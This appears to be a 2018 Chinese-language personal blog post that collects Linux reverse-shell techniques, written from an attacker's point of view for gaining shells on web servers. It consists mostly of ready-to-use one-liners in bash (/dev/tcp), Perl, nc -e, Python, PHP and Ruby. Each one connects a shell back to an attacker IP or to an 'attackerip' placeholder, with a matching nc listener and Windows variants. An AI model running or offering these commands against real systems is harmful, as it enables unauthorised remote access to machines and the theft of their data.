Zer0e's Blog

Linux下反弹shell的几种方式

字数统计: 639阅读时长: 3 min
2018/05/28 Share

前言

现在服务器基本上都是采用linux系统,做为一条web狗,最希望当然是拿到网站的webshell,之前看到过几种方法,在这里总结一下吧。
这里攻击端的ip为192.168.1.100,并且执行了nc -lvvp 9999,在9999端口进行监听。

Bash

bash是linux最基本的东西,用bash来反弹shell是必须要清楚的。
bash -i >& /dev/tcp/192.168.1.100/9999 0>&1
这里的可选择的协议还有udp,但是一般采用的tcp协议。
这里的第一个>&是表示shell在后台运行。

Perl

perl解释器在linux下基本也是预装的,但如今似乎用的人越来越少了,剩下它的正则表达式还在延续。

1
perl -e 'use Socket;$i="192.168.1.100";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

nc

nc命令在linux下也是常见的,不过docker里一般不会有nc。
nc -e /bin/sh 192.168.1.100 9999
-e代表程序重定向 将/bin/sh 重定向到远程端口

python

现在用python写后端的人也挺多的,有命令注入的话说不定可以直接搞事。

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.100",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

php是世界上最好的语言!
php -r '$sock=fsockopen("192.168.1.100",9999);exec("/bin/sh -i <&3 >&3 2>&3");'

Ruby

还记得之前某位老师说过Ruby会比python更火,然而现在身边会Ruby的人好像没多少。
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
还有不依赖/bin/sh的shell
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
顺带一提如果在windows上要用Ruby反弹shell,则
ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
不过我想我可能永远用不上。

后记

lua现在都没看见了,在这里便不列出来了。通常都是nc,python,php,bash用的较多一点。好像php的shell还有另一种形式,记性太差,想不起来了。之后再补上。

CATALOG
  1. 1. 前言
  2. 2. Bash
  3. 3. Perl
  4. 4. nc
  5. 5. python
  6. 6. PHP
  7. 7. Ruby
  8. 8. 后记